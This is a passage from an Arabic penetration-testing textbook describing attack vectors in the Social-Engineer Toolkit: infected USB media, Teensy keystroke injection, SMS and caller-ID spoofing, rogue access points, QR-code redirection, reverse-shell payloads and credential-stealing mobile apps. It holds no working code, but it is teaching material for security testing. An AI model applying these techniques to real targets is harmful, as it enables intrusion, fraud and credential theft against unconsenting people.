‫اﺳﺗﻧﺳﺎخ اﻟﻣوﻗﻊ و‪ .Spear phishing‬ﻓﺎﻧﮫ أﯾﺿﺎ ﯾﺿم اﻻﺗﻲ‪:‬‬
‫‪Infectious media generator (1‬‬
‫ھذا اﻷﺳﻠوب ﻣن اﻟﮭﺟوم ﯾﻧﻘﻠﻧﺎ إﻟﻰ ﻣوﺟﮭﺎت اﻟﮭﺟوم اﻟﻔﯾزﯾﺎﺋﯾﺔ وأﺳﻠوب ھﺟوم ﻣﺧﺗﻠف ﺗﻣﺎﻣﺎ‪ ،‬ﻧﺣن ﺳوف ﻧﺳﺗﺧدم ﻧﺎﻗﻼت ھﺟوم ﺗﻘوم ﺑﺈﺻﺎﺑﺔ‬
‫‪ USB/DVD/CD‬أي ﯾﻣﻛن ﻟﻠﻣﺳﺗﺧدم إﻧﺷﺎء ‪ ،CD ،DVD‬أو ﻣﻔﺗﺎح ‪ USB‬ﻣﺷﻔر ﻣﻊ ﻣﻠف ﺧﺑﯾث‪ .‬ﻧﺎﻗل اﻟﮭﺟوم ھذا ﯾﺳﻣﺢ ﻟك ﺑﺈدﺧﺎل‬
‫اﻷﻛواد اﻟﻘﺎﺑﻠﺔ ﻟﻠﺗﻧﻔﯾذ اﻟﺿﺎرة اﻟﺧﺎص ﺑك أو واﺣدة ﻣن ﺗﻠك اﻟﻣوﺟودة ﻓﻲ ‪ Metasploit‬ﻹﻧﺷﺎء ‪ DVD/CD/USB‬اﻟذي ﯾﺷﺗﻣل ﻋﻠﻰ ﻣﻠف‬
‫‪ .autorun.inf‬ﺣﺎﻟﻣﺎ ﯾﺗم إدراج ھذا اﻟﺟﮭﺎز ﻓﺄﻧﮫ ﺳﯾﺗم اﺳﺗدﻋﺎء "اﻟﺗﺷﻐﯾل اﻟﺗﻠﻘﺎﺋﻲ" وﺗﻧﻔﯾذ اﻷﻛواد اﻟﻘﺎﺑﻠﺔ ﻟﻠﺗﻧﻔﯾذ‪ .‬اﻟﺟدﯾد ﻓﻲ اﻹﺻدار اﻷﺣدث‪،‬‬
‫أﻧﮫ ﯾﻣﻛﻧك اﻻﺳﺗﻔﺎدة ﻣن ﻣﺂﺛر ﺗﻧﺳﯾﻖ اﻟﻣﻠف‪ ،‬ﯾﻣﻛﻧك ﺗﺣدﯾد ﺛﻐرات ﺗﻧﺳﯾﻖ اﻟﻣﻠف اﻟذي ﺳوف ﺗؤدي إﻟﻰ ﺗﺟﺎوز وﺧرق اﻟﻧظﺎم )ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‬
‫ﺛﻐرات ادوﺑﻰ(‪ .‬ﻋﻧدﻣﺎ ﯾﺗم إدراﺟﮭﺎ ﻓﻲ ﺟﮭﺎز اﻟﻛﻣﺑﯾوﺗر ﻓﺈﻧﮫ ﺳﯾﺗم ﺗﻧﻔﯾذ ﺗﻠك اﻟﺣﻣوﻟﺔ اﻟﺧﺑﯾﺛﺔ وﺗﺳﺑب أن ﺟﮭﺎز اﻟﺿﺣﯾﺔ ﺳوف ﯾﻛون ﻣﻌرض‬
‫ﻟﻠﺧطر‪.‬‬
‫‪Teensy USB HID Attack Vector (Arduino-Based Attack Vector) (2‬‬
‫ﻣوﺟﮫ اﻟﮭﺟوم ‪ Teensy USB HID‬ھو ﻣزﯾﺞ راﺋﻊ ﻣن اﻷﺟﮭزة اﻟﻣﺧﺻﺻﺔ وﺗﺟﺎوز اﻟﻘﯾود ﺑﻣﺣﺎﻛﺎة ﻟوﺣﺔ اﻟﻣﻔﺎﺗﯾﺢ‪ .‬ﻋﺎدة ﻋﻧد ﻗﯾﺎﻣك ﺑﺈدراج‬
‫‪ DVD/CD‬أو ‪ USB‬ﻓﺈﻧﮫ إذا ﺗم ﺗﻌطﯾل اﻟﺗﺷﻐﯾل اﻟﺗﻠﻘﺎﺋﻲ‪ ،‬ﻓﺎﻧﮫ ﻻ ﯾﺗم اﺳﺗدﻋﺎء ﻣﺎ ﯾﺳﻣﻰ ‪ autorun.inf‬اﻟﺧﺎص ﺑك وﺑﺎﻟﺗﺎﻟﻲ ﻻ ﯾﻣﻛن ﺗﻧﻔﯾذ‬
‫اﻟﺗﻌﻠﯾﻣﺎت اﻟﺑرﻣﺟﯾﺔ اﻟﺧﺎﺻﺔ ﺑك ﺗﻠﻘﺎﺋﯾﺎ ً‪ .‬ﻣﻊ ‪ Teensy HID‬اﻟﻘﺎﺋم ﻋﻠﻰ اﻟﺟﮭﺎز ﯾﻣﻛﻧك ﻣﺣﺎﻛﺎة ﻟوﺣﺔ اﻟﻣﻔﺎﺗﯾﺢ واﻟﻣﺎوس‪ .‬ﻋﻧد ﻗﯾﺎﻣك ﺑﺈدراج‬
‫اﻟﺟﮭﺎز ﻓﺄﻧﮫ ﺳﯾﺗم اﻟﺗﻌرف ﻋﻠﯾﮫ ﻛﺄﻧﮫ ﻟوﺣﺔ ﻣﻔﺎﺗﯾﺢ وﻟﯾس ‪ DVD/CD‬أو‪ ، USB‬وﻣﻊ اﻟﻣﻌﺎﻟﺞ وذاﻛرة اﻟﻔﻼش ﯾﻣﻛﻧك إرﺳﺎل ﻣﺟﻣوﻋﺔ ﺳرﯾﻌﺔ‬
‫ﺟدا ً ﻣن ﺿﻐطﺎت اﻟﻣﻔﺎﺗﯾﺢ ﻟﻠﺟﮭﺎز واﺧﺗراق اﻟﺟﮭﺎز ﺗﻣﺎﻣﺎ‪ .‬ﯾﻣﻛﻧك ﺷراء ‪ Teensy device‬ﺑﺣواﻟﻲ ‪ 17‬دوﻻر ﻓﻲ‬
‫‪ .http://www.prjc.com‬ﺑﻌد ﺗﺣدث دﯾﻔﯾد ﻛﯾﻧﯾدي‪ ،‬ﺟوش ﻛﯾﻠﻲ‪ ،‬وأدرﯾﺎن ﻛرﯾﻧﺷو ﻋن ‪ ،Teensy device‬ﻓﺎدى اﻟﻰ ﻗرﺻﻧﺔ ‪PS3‬‬
‫ﺑﺎﺳﺗﺧدام أﺟﮭزة ‪ Teensy device‬وھم ﺣﺎﻟﯾﺎ ‪ backordered‬أﺛﻧﺎء وﻗت ﻛﺗﺎﺑﺔ ھذا‪.‬‬
‫‪ Teensy devices‬ھﻲ ﻟوﺣﺎت دواﺋر ﺻﻐﯾرة ﻣﺑرﻣﺟﺔ اﻟﺗﻲ ﯾﻣﻛن أن ﯾﺗم ﺗﺿﻣﯾﻧﮭﺎ ﻓﻲ أﺷﯾﺎء ﻣﺛل ﻟوﺣﺎت اﻟﻣﻔﺎﺗﯾﺢ واﻟﻣﺎوس‪ ،‬أو اﻷﺟﮭزة‬
‫اﻹﻟﻛﺗروﻧﯾﺔ اﻷﺧرى اﻟﺗﻲ ﺗﺻﺑﺢ ﻣوﺻوﻟﺔ ﺑﺄﺟﮭزة اﻟﻛﻣﺑﯾوﺗر‪.‬‬
‫‪ SET‬ﺗﻧﺗﺞ اﻟﺑرﻣﺟﺔ اﻟﻼزﻣﺔ ﻟﺗﺧﺑر ‪ teensy devices‬ھذه ﻣﺎ ﯾﺟب اﻟﻘﯾﺎم ﺑﮫ ﻋﻧدﻣﺎ ﯾﺗم ﺗوﺻﯾﻠﮫ‪ .‬أواﻣر ﻣﺛل إﻋطﺎء ﺷل ﻋﻛﺳﻲ أو إﻧﺷﺎء ﻣﻧﺎﻓذ‬
‫اﻻﺳﺗﻣﺎع ﺷﺎﺋﻌﺔ‪.‬‬
‫‪SMS Spoofing Attack Vector (3‬‬
‫ھﻧﺎ ﺗﻠﻣﯾﺢ ﻗﻠﯾﻼً ﺟدا‪ ،‬ھذه اﻟوﺣدة ھﻲ ﻓﻘط اﻟﺑداﯾﺔ ﻟﻣﻧﺻﺔ ھﺟوم اﻟﻣوﺑﺎﯾل ﺟدﯾدة ﻛﺎﻣﻠﺔ ﻟﻺﺻدار اﻷﺣدث ﻣن ‪ .SET‬اﻟﻧﺎس ﻓﻲ‬
‫‪ TB-Security.com‬ﻗﺎﻣوا ﺑﻌرض وﺣدة ‪ .SMS Spoofing‬ھذه اﻟوﺣدة ﺗﺳﻣﺢ ﻟك ﺑﻣﺣﺎﻛﺎة رﻗم اﻟﮭﺎﺗف اﻟﺧﺎص ﺑك‪ ،‬وإرﺳﺎل رﺳﺎﺋل‬
‫ﻗﺻﯾرة‪ .‬وھذا ﺳﯾﻛون ﻣﻔﯾدا ً ﻓﻲ ھﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﺑﺎﺳﺗﺧدام "ﺣﺻﺎد ﺑﯾﺎﻧﺎت اﻻﻋﺗﻣﺎد"‪ .‬اﻟﻣزﯾد ﻣن اﻟﮭﺟﻣﺎت اﻟﻘﺎدﻣﺔ ﻋﻠﻰ ھذا‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪976‬‬

‫‪Wireless Attack Vector (4‬‬

‫‪ SET‬ﯾﺣﺗوى ﻋﻠﻰ ﻧﺎﻗل ھﺟوم ﯾﺳﻣﻰ ‪ wireless attack vector‬واﻟﺗﻲ ﺳوف ﺗﻔرخ ﻧﻘطﺔ وﺻول ﻣن ﺑطﺎﻗﺔ اﻟواﺟﮭﺔ اﻟﻼﺳﻠﻛﯾﺔ ﻋﻠﻰ‬
‫اﻟﺟﮭﺎز اﻟﺧﺎص ﺑك‪ ،‬ورﻓﻊ ‪ Dnsspoof‬ﻹﻋﺎدة ﺗوﺟﯾﮫ طﻠﺑﺎت اﻟﻣﺗﺻﻔﺢ اﻟﺿﺣﯾﺔ إﻟﻰ اﻟﻣﮭﺎﺟم ﻓﻲ ‪ .SET‬ﯾﻣﻛﻧك اﻻﺳﺗﻔﺎدة ﻣن ھذا اﻟﮭﺟوم ﻋﻠﻰ‬
‫ﺳﺑﯾل اﻟﻣﺛﺎل ﺑﺈﻧﺷﺎء ﻧﻘطﺔ اﻟوﺻول وﻣن ﺛم اﻻﺳﺗﻔﺎدة ﻣن ﻣوﺟﮫ اﻟﮭﺟوم ‪ Java Applet‬أو ‪ Multi-Attack Vector‬وﻋﻧدﻣﺎ ﯾﻛون‬
‫اﻟﺿﺣﯾﺔ ﻣﺗﺻﻼً ﺑﻧﻘطﺔ اﻟوﺻول‪ ،‬وذھب إﻟﻰ ﻣوﻗﻊ ﻋﻠﻰ ﺷﺑﻛﺔ اﻹﻧﺗرﻧت‪ ،‬ﺳﯾﻛون ﻋﻧدﺋذ ﻋﻠﻰ ﺟﮭﺎز اﻟﻣﮭﺎﺟم‪.‬‬
‫‪QRCode Attack Vector (5‬‬
‫ﺗﺳﺗﺧدم ﻧﺎﻗﻼت اﻟﮭﺟوم ‪ QRCode‬اﻟﻘدرة ﻋﻠﻰ ﺗوﻟﯾد ‪ QRCodes‬أﺻﻼً ﻓﻲ ﺑﺎﯾﺛون‪ .‬ﻋﻧدﻣﺎ ﯾﺗم ﻣﺳﺣﮭﺎ ﺿوﺋﯾﺎً‪ ،‬ﻓﺈﻧﮫ ﺳﯾﺗم ﺗوﺟﯾﮫ ﻟﻣوﺟﺔ‬
‫ھﺟوم ‪ .SET‬ﻣﺎ ھو ﻛﺑﯾر ﻋن ھذا اﻟﮭﺟوم ھﻲ اﻟﻘدرة ﻋﻠﻰ إﻋﺎدة ﺗوﺟﯾﮫ اﻟﺿﺣﺎﯾﺎ إﻟﻰ أي ﻣن ﻣوﺟﮭﺎت اﻟﮭﺟوم اﻟﻣدﻣﺞ ﻓﻲ ‪ SET‬اﻟﻣﺗﺎﺣﺔ ﻟﮭم‪.‬‬
‫‪Create a Payload and Listener (6‬‬
‫‪ SET‬ﯾﻣﻛﻧﮫ أﯾﺿﺎ إﻧﺷﺎء ‪ payload‬ﺑﺳﯾطﺔ و‪ Listener‬اﻟﻣﻧﺎﺳب ﻟذﻟك‪ .‬ﺣﯾث إذا أراد اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻓﻘط أن ﯾﻛون ﻟﮫ ‪ EXE‬ﻣﻊ ﺷل‬
‫ﻋﻛﺳﻲ اﻟﺗﻲ ﺳﯾرﺑط ﻣﻊ اﻟﺧوادم‪ ،‬ﻓﺎﻧﮫ ﯾﻣﻛن ﺗﺣﻣﯾل ھذا ﻓﻲ ﻣﻔﺗﺎح ‪ USB‬ﻟﻼﺳﺗﺧدام ﻓﻲ اﻟﺗدﻗﯾﻖ‪ .‬إذا وﺟد ﻧﻔﺳﮫ أﻣﺎم آﻟﺔ اﻟﺗﻲ ﯾرﯾد اﻟوﺻول اﻟﯾﮭﺎ‬
‫ﻋن ﺑﻌد‪ ،‬ﻓﺎﻧﮫ ﯾﻣﻛن وﺿﻊ ﻣﻔﺗﺎح ‪ USB‬وإﺳﻘﺎط ﻣﻠف ‪ Payload‬ﻋﻠﻰ اﻟﻛﻣﺑﯾوﺗر ﺛم اﻧﻘر ﻓوﻗﮫ‪ .‬ھذا ﺳﯾﻌطﻲ ﻟﮫ اﺗﺻﺎل ﺳرﯾﻊ إﻟﻰ آﻻت ﻟﮫ‪.‬‬
‫‪Fast-Track Penetration Testing‬‬
‫‪ Fast-Track‬ﺗم إﻧﺷﺎؤه أﺻﻼً ﻣﻧذ ﻋدة ﺳﻧوات وﯾﻘوم ﺑﺗﺷﻐﯾل ﻋدة ﻣوﺟﮭﺎت ھﺟوم ﻣﻌﻘدة‪ Fast-Track .‬ﯾﻣﻠك ﺛﻐرات او ‪Exploit‬‬
‫إﺿﺎﻓﯾﺔ وﻣوﺟﮭﺎت ھﺟوم واﻟﮭﺟﻣﺎت اﻟﺗﻲ ﯾﻣﻛﻧك اﺳﺗﺧداﻣﮭﺎ أﺛﻧﺎء اﺧﺗﺑﺎر اﺧﺗراق‪.‬‬

‫‪SET Interactive Shell and RATTE‬‬

‫واﺣدة ﻣن أﺣدث اﻹﺿﺎﻓﺎت إﻟﻰ " أدوات ‪ "SET‬ھو ‪ interactive shell‬و‪ payloads ،RATTE‬ﻣﺳﺗﻘﻠﺔ ﻣﻛﺗوﺑﺔ وﻣﺧﺻﺻﺔ وﻣﺿﻣﻧﺔ‬
‫ﻓﻲ أدوات ‪ .SET‬ھذه ‪ Payloads‬ﻣﺗوﻓرة ﻓﻘط ﻣن ﺧﻼل ﻧواﻗل اﻟﮭﺟوم ‪ Create a Payload and Listener‬و ‪.Java Applet‬‬
‫ﯾﻣﻛﻧك اﻟوﺻول اﻟﯾﮭﺎ ﻣن ﺧﻼل اﻻﺗﻲ‪:‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪977‬‬

‫‪SET Web-Interface‬‬
‫واﺣدة ﻣن أﺣدث اﻟﻣﯾزات ﻣن ‪ SET‬ھو أداة ‪ .Web-Interface‬ھذا ﯾﻌﻧﻲ أﻧﮫ ﺳﯾﺑدأ ﺧﺎدم اﻟوﯾب ﺗﻠﻘﺎﺋﯾﺎ ﻓﻲ اﺳﺗﺿﺎﻓﺔ ﻣﺟﻣوﻋﺔ ﻣن ﺻﻔﺣﺔ‬
‫وﯾب ﻟﺗﺳﮭﯾل اﻻﺳﺗﺧدام‪ .‬واﺟﮭﺔ وﯾب ﯾﺄﺧذ ﻣﺎ ﻗﻣت ﺑﺗﺣدﯾده وﯾﻘوم ﺑﺈﻧﺷﺎء ﻣﻠف إﺟﺎﺑﺎت اﻟﺗﻲ ﯾﺗم وﺿﻌﮭﺎ ﻓﻲ ﻧﮭﺎﯾﺔ اﻟﻣطﺎف ﻓﻲ ‪.seautomate‬‬
‫ﯾﻌﯾن ﻟﻛل رد ﻗﯾﻣﺔ ﻣﻌطﺎة وﯾوزع اﻟﻣﻌﻠوﻣﺎت اﻻﺳﺗﺧﺑﺎرﯾﺔ اﻟﻣﺑﻧﯾﺔ ﻓﻲ اﻟﻧﮭﺎﯾﺔ واﻻﺳﺗﺟﺎﺑﺎت اﻟﺧﺎﺻﺔ ﺑك ﻟﺑﻧﺎء وﺻﯾﺎﻏﺔ ھذا اﻟﮭﺟوم ﻓﻲ ‪.SET‬‬
‫ﻟﺗﺷﻐﯾل واﺟﮭﺔ اﻟوﯾب ﺑﺑﺳﺎطﺔ ﻣن ﺧﻼل اﻟوﺻول اﻟﻰ ﻣﺟﻠد ‪ SET‬ﻓﻲ اﻟﻣﺳﺎر ‪ /usr/share/set‬ﺑﺎﺳﺗﺧدام اﻻﻣر اﻟﺗﺎﻟﻰ ﻓﻲ اﻟﺗرﻣﻧﺎل‪:‬‬
‫‪#cd /usr/share/set‬‬

‫ﺛم ﻛﺗﺎﺑﺔ اﻻﻣر ‪ ./seweb‬ﻛﺎﻻﺗﻰ واﻟﺗﻲ ﯾطﻠب ﻣﻧك رﻗم اﻟﻣﻧﻔذ اﻟذي ﺳوف ﯾﻌﻣل ﻋﻠﯾﮫ واﻻﻓﺗراﺿﻲ ﯾﻛون ‪:44444‬‬

‫ﺛم اﻟدﺧول اﻟﻰ اﻟﻣﺗﺻﻔﺢ اﻟﺧﺎص ﺑك وﻛﺗﺎﺑﺔ اﻟﻌﻧوان ‪ http://127.0.0.1:44444‬واﻟﺗﻲ ﯾﻛون ﺷﻛﻠﮭﺎ ﻛﺎﻻﺗﻰ‪:‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪978‬‬

‫‪ SET‬ھﻲ أداة ﻗوﯾﺔ ﻣﺑذوﻟﺔ ﻟﻣﺳﺎﻋدة اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻓﻲ اﺧﺗﺑﺎر ﻧﻘﺎط اﻟﺿﻌف اﻟﺗﻲ ﺗوﺟد ﻋﺎدة ﻓﻲ اﻟﺷرﻛﺔ‪ .‬ﻣطور أداة ‪ SET‬ﻣﻔﺗوح داﺋﻣﺎ‬
‫ﻟﺗﻠﻘﻲ اﻻﻗﺗراﺣﺎت واﻟﻣﺳﺎﻋدة ﻓﻲ ﺧﻠﻖ أﺟزاء ﺟدﯾدة ﻣن اﻷداة ﻟﻣواﺻﻠﺔ اﻟﻧﻣو ﻟﺗﺻﺑﺢ أدوات ‪ SET‬اﻷﻛﺛر ﺷﻌﺑﯾﺔ‪ .‬ﻣرة أﺧرى‪ ،‬واﺻل اﻟﺗﺣﻘﻖ‬
‫ﻣن ‪ /https://www.trustedsec.com‬ﻣن أﺟل وﺟود ﺗﺣدﯾﺛﺎت ﻷدوات اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪.‬‬

‫‪TELEPHONE-BASED SOCIAL ENGINEERING‬‬

‫واﺣدة ﻣن أﻗدم اﻷدوات ﻓﻲ ﻛﺗﺎب اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ھو اﻟﮭﺎﺗف‪ .‬ﻓﻲ ھذه اﻷﯾﺎم‪ ،‬اﻟﮭواﺗف اﻟﻣﺣﻣوﻟﺔ‪ ،‬ﻋﺑر ﺑروﺗوﻛول اﻹﻧﺗرﻧت ‪،VOIP‬‬
‫وﺧوادم اﻟﮭﺎﺗف اﻟﻣﺣﻠﯾﺔ اﻟﺻﻧﻊ‪ ،‬ﻧﻣت اﻟﺧﯾﺎرات ﻟﻛﯾﻔﯾﺔ ﻗﯾﺎم اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﺑﺎﻻﺳﺗﻔﺎدة ﻣن اﻟﮭﺎﺗف إﻟﻰ ﺣد ﻛﺑﯾر‪.‬‬
‫ﻷن اﻟﻧﺎس أﺻﺑﺣت ﻣﻧﻐﻣﺳﮫ ﻣﻊ ﻣﻛﺎﻟﻣﺎت اﻟﺗﺳوﯾﻖ ﻋﺑر اﻟﮭﺎﺗف‪ ،‬اﻟﻣﺑﯾﻌﺎت‪ ،‬اﻹﻋﻼﻧﺎت‪ ،‬وﯾﺣﺗﺎج اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ إﻟﻰ أن ﯾﻛون ﻣﺎھرا ﻓﻲ‬
‫اﺳﺗﺧدام اﻟﮭﺎﺗف ﺑﻧﺟﺎح ﻓﻲ ﻋﻣﻠﯾﺔ اﻟﺗدﻗﯾﻖ‪ .‬ﻋﻠﻰ اﻟرﻏم ﻣن ھذه اﻟﻘﯾود‪ ،‬اﺳﺗﺧدام اﻟﮭﺎﺗف ﻛﺄداة اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﯾﻣﻛن أن ﺗؤدي إﻟﻰ اﻻﺧﺗﺑﺎر‬
‫اﻟﻛﻠﻲ ﻟﻠﺷرﻛﺔ ﻓﻲ ﻓﺗرة ﻗﺻﯾرة ﺟدا ﻣن اﻟزﻣن‪.‬‬
‫ﻓﻲ ھذا اﻟﻌﺻر ﺣﯾث ﻛل ﺷﺧص ﻟدﯾﮫ اﻟﮭﺎﺗف اﻟﺧﻠﯾوي وﺣﯾث ﯾﻘوم اﻟﻧﺎس ﺑﺣﻣل اﻟﻣﺣﺎدﺛﺎت اﻟﺷﺧﺻﯾﺔ واﻟﻌﻣﯾﻘﺔ ﻋﻠﻰ ﻣﺗن اﻟﺣﺎﻓﻠﺔ‪ ،‬اﻟﻣﺗرو‪ ،‬أو‬
‫ﻓﻲ أي ﻣﻛﺎن ﻋﺎم‪ ،‬واﻟﮭﺎﺗف ﯾﻣﻛن اﺳﺗﺧداﻣﮭﺎ ﻓﻲ ﻧواح ﻛﺛﯾرة‪ .‬اﻟﺗﻧﺻت أو اﺳﺗدﻋﺎء اﻟﮭدف ﻋﻠﻰ ھواﺗﻔﮭم اﻟﻣﺣﻣوﻟﺔ ﯾﺳﻣﺢ ﻟﻧﺎﻗﻼت إﺿﺎﻓﯾﺔ ﻟم ﺗﻛن‬
‫ﻣﺗﺎﺣﺔ ﻓﻲ اﻟﻣﺎﺿﻲ أﯾﺎم‪ .‬ﻣﻊ زﯾﺎدة ﻋدد اﻟﮭواﺗف اﻟذﻛﯾﺔ واﻟﮭواﺗف ﻣﺛل اﻟﻛﻣﺑﯾوﺗر ﻓﻲ اﻟﺳوق ﻓﺎن اﻟﻣزﯾد ﻣن اﻟﻧﺎس ﺗﻘوم ﺑﺗﺧزﯾن ﻛﻠﻣﺎت اﻟﺳر‪،‬‬
‫واﻟﺑﯾﺎﻧﺎت اﻟﺷﺧﺻﯾﺔ‪ ،‬وﻣﻌﻠوﻣﺎت ﺧﺎﺻﺔ ﻋﻠﻰ ھواﺗﻔﮭم‪ .‬ھذا ﯾﻔﺗﺢ اﻟﻘدرة ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻟﯾﻛون ﻗﺎدر ﻋﻠﻰ اﻟوﺻول إﻟﻰ اﻟﮭدف وﺑﯾﺎﻧﺎﺗﮫ ﻓﻲ‬
‫اﻟﻌدﯾد ﻣن اﻟﺣﺎﻻت اﻟﻣﺧﺗﻠﻔﺔ‬
‫أﯾﺿﺎ‪ ،‬ﻛوﻧﮫ ﻣﺗﺻﻼ ‪ 7/24‬ﯾﺟﻌل اﻟﻧﺎس أﻛﺛر اﺳﺗﻌدادا ﻹﻋطﺎء اﻟﻣﻌﻠوﻣﺎت ﺑﺳرﻋﺔ إذا ﻛﺎن اﻟطﺎﻟب ﯾﻣر ﺑﻣﺟﻣوﻋﺔ ﻣﻌﯾﻧﺔ ﻣن "اﻟﻣﻌﺎﯾﯾر" اﻟﺗﻲ‬
‫ﺗﺟﻌل ﻣﻧﮫ ﺗﺻدﯾﻖ‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬إذا ﻛﺎن رﻗم اﻟﻣﺗﺻل ﻋﻠﻰ اﻟﮭﺎﺗف اﻟﺧﻠﯾوي ﯾﺷﯾر إﻟﻰ اﻟﺷﺧص ﯾدﻋو ﻣن ﻣﻘر اﻟﺷرﻛﺔ‪ ،‬ﻓﺈن اﻟﻌدﯾد ﻣن‬
‫اﻟﻧﺎس ﺗﻘوم ﺑﺈﻋطﺎء ﻣﻌﻠوﻣﺎت ﻻ ﯾﻣﻛن اﻟﺗﺣﻘﻖ ﻣﻧﮭﺎ‪ .‬ﻛﻼ ﻣن اﻟﮭواﺗف اﻟذﻛﯾﺔ ‪ iPhone‬و‪ Android‬و‪ Windows‬ﻟدﯾﮭﺎ اﻟﺗطﺑﯾﻘﺎت اﻟﺗﻲ ﯾﻣﻛن‬
‫اﺳﺗﺧداﻣﮭﺎ ﻟﺗزﯾف رﻗم اﻟﻣﺗﺻل اﻟﺧﺎص ﺑك إﻟﻰ أي ﻋدد ﺗرﯾده‪ .‬ﺗطﺑﯾﻘﺎت ﻣﺛل )‪ SpoofApp (http://www.spoofcard.com/apps/‬ﺗﺳﻣﺢ‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻹﺟراء ﻣﻛﺎﻟﻣﺎت اﻟﺗﻲ ﺗﺑدو ﻛﻣﺎ ﻟو أﻧﮭﺎ ﺗﻧﺷﺄ ﻣن أي ﻣﻛﺎن ﻋﻠﻰ وﺟﮫ اﻷرض وذﻟك ﺑﺗﻛﻠﻔﺔ ﻣﻧﺧﻔﺿﺔ ﻧﺳﺑﯾﺎ ﻟﻛل ﻣﻛﺎﻟﻣﺔ‪ .‬ﻛل‬
‫ھذا ﯾذھب إﻟﻰ ﺑﻧﺎء ﻣﺻداﻗﯾﺔ اﻟذرﯾﻌﺔ اﻟﺧﺎص ﺑك‪ .‬اﺳﺗﺧدام اﻟﮭﺎﺗف ﻟﻠﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﯾﻣﻛن ﺗﻘﺳﯾﻣﮭﺎ إﻟﻰ ﻣﺟﺎﻟﯾن ﻣﺧﺗﻠﻔﯾن‪ :‬اﻟﺗﻛﻧوﻟوﺟﯾﺎ وراء‬
‫ذﻟك واﻟﺗﺧطط ﻋﻠﻰ ﻣﺎ ﺗﻘوﻟﮫ‪.‬‬

‫‪Publishing Malicious Apps‬‬

‫ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻘﺎﺋﻣﺔ ﻋﻠﻰ اﻟﮭﺎﺗف اﻟﺧﻠوي‪ ،‬اﻟﻣﮭﺎﺟم ﯾﻧﻔذ ھذه اﻷﻧواع ﻣن اﻟﮭﺟﻣﺎت ﻣﻊ ﻣﺳﺎﻋدة ﻣن ﺗطﺑﯾﻘﺎت اﻟﻣوﺑﺎﯾل‪ .‬ھﻧﺎ اﻟﻣﮭﺎﺟم‬
‫أوﻻ ﯾﻘوم ﺑﺈﻧﺷﺎء اﻟﺗطﺑﯾﻘﺎت اﻟﺧﺑﯾﺛﺔ ﻣﺛل ﺗطﺑﯾﻘﺎت اﻷﻟﻌﺎب ﻣﻊ ﻣﻼﻣﺢ ﺟذاﺑﺔ وأﺳﻣﺎء ﻟﮭﺎ ﻣن اﻟﺗطﺑﯾﻘﺎت اﻟﺷﻌﺑﯾﺔ‪ ،‬وﺗﻧﺷر ﻓﻲ ﻣﺗﺎﺟر اﻟﺗطﺑﯾﻘﺎت‬
‫اﻟرﺋﯾﺳﯾﺔ‪ .‬اﻟﻣﺳﺗﺧدﻣﯾن اﻟذﯾن ﻻ ﯾﻌﻠﻣون ﻋن اﻟﺗطﺑﯾﻖ اﻟﺧﺑﯾث ﯾﻌﺗﻘد أﻧﮫ ھذا ﺗطﺑﯾﻖ ﺣﻘﯾﻘﻲ وﯾﻘوم ﺑﺗﻧزﯾل وﺗﺛﺑﯾت ھذه اﻟﺗطﺑﯾﻘﺎت اﻟﻧﻘﺎﻟﺔ اﻟﺧﺑﯾﺛﺔ‬
‫ﻋﻠﻰ أﺟﮭزﺗﮭم اﻟﻧﻘﺎﻟﺔ‪ ،‬اﻟﺗﻲ ﯾﺻﺎﺑون ﺑﺎﻟﻌدوى ﻣن ﻗﺑل اﻟﺑرﻣﺟﯾﺎت اﻟﺧﺑﯾﺛﺔ واﻟﺗﻲ ﺗرﺳل أوراق اﻋﺗﻣﺎد اﻟﻣﺳﺗﺧدم )أﺳﻣﺎء اﻟﻣﺳﺗﺧدﻣﯾن وﻛﻠﻣﺎت‬
‫اﻟﺳر( إﻟﻰ اﻟﻣﮭﺎﺟﻣﯾن‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪979‬‬

‫‪Repackaging Legitimate Apps‬‬

‫ﻣطوري اﻟﻣﺷﺎرﯾﻊ ﻓﻲ اﻟﺷرﻛﺔ ﯾﻘوم ﺑﺈﻧﺷﺎء ﺗطﺑﯾﻘﺎت اﻷﻟﻌﺎب‪ .‬ﻣن أﺟل اﻟﺳﻣﺎح ﻟﻣﺳﺗﺧدﻣﻲ اﻟﮭواﺗف اﻟﻧﻘﺎﻟﺔ ﻟﺗﺻﻔﺢ ﻣرﯾﺢ وﺗﺛﺑﯾت ھذه اﻟﺗطﺑﯾﻘﺎت‬
